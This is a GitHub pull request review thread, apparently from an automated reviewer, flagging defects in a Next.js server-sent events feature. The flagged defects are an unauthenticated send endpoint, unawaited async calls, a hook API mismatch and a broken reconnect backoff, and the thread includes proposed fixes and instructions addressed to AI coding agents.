  • src/features/sse/server/router.ts#L14-L14: replace publicProcedure with a protected procedure for sendEvent, and restrict targeted delivery to the caller's own client IDs.
📍 Affects 2 files
  • src/app/api/sse/send/route.ts#L12-L35 (this comment)
  • src/features/sse/server/router.ts#L14-L14
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/api/sse/send/route.ts` around lines 12 - 35, Secure both SSE send
entry points: in src/app/api/sse/send/route.ts lines 12-35, authenticate before
parsing the request, authorize broadcast versus targeted delivery, and enforce
rate limiting without relying solely on apiPipeline; in
src/features/sse/server/router.ts line 14, replace publicProcedure for sendEvent
with a protected procedure and allow targeted delivery only to client IDs owned
by the authenticated caller.

Comment on lines +19 to +22
sseManager.sendToClient(targetClientId, "custom_message", data);
} else {
logger.info("Broadcasting event", { type });
sseManager.broadcast("custom_message", data);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🔴 Critical | ⚡ Quick win

Await the send calls before you return success.

sseState.sendToClient and sseState.broadcast are declared async in src/features/sse/server/state.ts lines 138 and 156. The calls here are not awaited. The handler returns { success: true } before delivery completes, and a rejection escapes the try/catch as an unhandled rejection.

🐛 Proposed fix
     if (targetClientId) {
       logger.info("Sending event to specific client", { type, targetClientId });
-      sseManager.sendToClient(targetClientId, "custom_message", data);
+      await sseManager.sendToClient(targetClientId, type, data);
     } else {
       logger.info("Broadcasting event", { type });
-      sseManager.broadcast("custom_message", data);
+      await sseManager.broadcast(type, data);
     }

Also applies to: 25-27

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/app/api/sse/send/route.ts` around lines 19 - 22, Await both SSE delivery
calls in the route handler: update the branches invoking sseManager.sendToClient
and sseManager.broadcast so they complete within the existing try/catch before
returning success, allowing delivery failures to be handled by the route’s error
path.

timestamp: number;
}

export function useSSE() {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🔴 Critical | 🏗️ Heavy lift

useSSE does not accept options and does not return error. The hook signature and the dashboard call site describe two different APIs, so the build fails on this pair.

  • src/features/sse/hooks/useSSE.ts#L13-L13: add an options parameter with onConnect, onEvent, and eventTypes, invoke the callbacks from the corresponding listeners, register a listener for each entry in eventTypes, and add an error value to the returned object.
  • src/features/sse/components/SSEDashboard.tsx#L15-L39: after the hook supports the options, keep this call site. Until then it passes an argument the hook ignores and reads error, which is undefined at runtime and absent from the hook's return type. src/app/sse-demo/page.tsx line 27 already calls useSSE() with no arguments, so choose one shape and use it in both consumers.
📍 Affects 2 files
  • src/features/sse/hooks/useSSE.ts#L13-L13 (this comment)
  • src/features/sse/components/SSEDashboard.tsx#L15-L39
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/hooks/useSSE.ts` at line 13, Update useSSE in
src/features/sse/hooks/useSSE.ts to accept options containing onConnect,
onEvent, and eventTypes, invoke the callbacks from the corresponding SSE
listeners, register listeners for every eventTypes entry, and include error in
its returned object. Preserve the existing no-argument useSSE() usage in
src/app/sse-demo/page.tsx. Keep src/features/sse/components/SSEDashboard.tsx
unchanged, as its current options call and error access should be supported by
the hook changes.

Comment on lines +33 to +37
const connectEventSource = () => {
const newEventSource = new EventSource("/api/sse");
setEventSource(newEventSource);
return newEventSource;
};

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🔴 Critical | 🏗️ Heavy lift

The reconnect path never re-attaches handlers and never advances the backoff.

Two defects combine here.

First, the effect on line 39 has an empty dependency array. The onerror closure therefore always reads the initial reconnectAttempts value of 0. reconnectAttempts < maxReconnectAttempts is always true, and reconnectDelay * Math.pow(2, 0) is always 2000. The attempt cap and the exponential backoff never apply, so the hook reconnects every 2 seconds without limit.

Second, connectEventSource only constructs the EventSource. It attaches no onopen, no onerror, and no connected, ping, or custom_message listeners. After the first error the replacement connection delivers nothing, isConnected stays false, and each retry opens another server-side stream that the client ignores.

Hold the attempt counter in a ref, and attach all handlers inside connectEventSource.

🐛 Proposed restructuring
-  const [reconnectAttempts, setReconnectAttempts] = useState(0);
+  const reconnectAttemptsRef = useRef(0);
+  const reconnectTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
+  const eventSourceRef = useRef<EventSource | null>(null);
-  const connectEventSource = () => {
-    const newEventSource = new EventSource("/api/sse");
-    setEventSource(newEventSource);
-    return newEventSource;
-  };
+  const connect = useCallback(() => {
+    const es = new EventSource("/api/sse");
+    eventSourceRef.current = es;
+
+    es.onopen = () => {
+      setIsConnected(true);
+      reconnectAttemptsRef.current = 0;
+    };
+    es.addEventListener("connected", handleConnected);
+    es.addEventListener("ping", handlePing);
+    es.addEventListener("custom_message", handleCustomMessage);
+    es.onerror = () => {
+      setIsConnected(false);
+      es.close();
+      if (reconnectAttemptsRef.current >= maxReconnectAttempts) {
+        logger.error("SSE connection failed after maximum reconnection attempts");
+        return;
+      }
+      const delay = reconnectDelay * 2 ** reconnectAttemptsRef.current;
+      reconnectAttemptsRef.current += 1;
+      reconnectTimerRef.current = setTimeout(connect, delay);
+    };
+    return es;
+  }, [handleConnected, handlePing, handleCustomMessage]);

Also applies to: 109-144

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/hooks/useSSE.ts` around lines 33 - 37, Update useSSE’s
connectEventSource to attach the complete EventSource lifecycle and message
handlers to every newly created connection, including onopen, onerror, and
connected, ping, and custom_message listeners. Track reconnectAttempts with a
ref so the onerror logic reads and increments the current count despite the
effect’s stable dependencies, enforces maxReconnectAttempts, and applies
exponential backoff for each retry.

Comment on lines +138 to +154
async sendToClient(clientId: string, type: string, data: any) {
const client = this.clients.get(clientId);
if (!client) {
throw new Error("Client not found");
}

try {
const eventString = `event: ${type}\ndata: ${JSON.stringify(data)}\n\n`;
client.controller.enqueue(this.encoder.encode(eventString));
client.lastPing = Date.now(); // Update last ping time on successful send
return true;
} catch (error) {
logger.error("Error sending to client", { error, clientId });
this.removeClient(clientId);
throw error;
}
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🔴 Critical | 🏗️ Heavy lift

The async signature hides synchronous enqueue failures from callers.

controller.enqueue is synchronous. Marking sendToClient as async converts its throw into a rejected promise. The consumer in src/app/api/sse/route.ts wraps the call in a synchronous try/catch:

try {
  sseState.sendToClient(clientId, "ping", { timestamp: Date.now() });
} catch (error) { /* never reached */ }

The catch never runs. The interval is never cleared, the client is never removed, and Node reports an unhandled rejection. src/app/api/sse/send/route.ts lines 19-22 has the same unawaited-call pattern.

Make sendToClient and broadcast synchronous, then update the callers. Also replace data: any with unknown to satisfy @typescript-eslint/no-explicit-any.

🐛 Proposed fix
-  async sendToClient(clientId: string, type: string, data: any) {
+  sendToClient(clientId: string, type: string, data: unknown) {
     const client = this.clients.get(clientId);
🧰 Tools
🪛 ESLint

[error] 138-138: Unexpected any. Specify a different type.

(@typescript-eslint/no-explicit-any)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/sse/server/state.ts` around lines 138 - 154, Make sendToClient
and broadcast synchronous so synchronous enqueue errors propagate to existing
try/catch callers; update both SSE route call sites to use the synchronous API
and preserve their cleanup behavior. Change sendToClient’s data parameter from
any to unknown, and adjust related broadcast typing as needed without
introducing unhandled promises.

Source: Linters/SAST tools

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant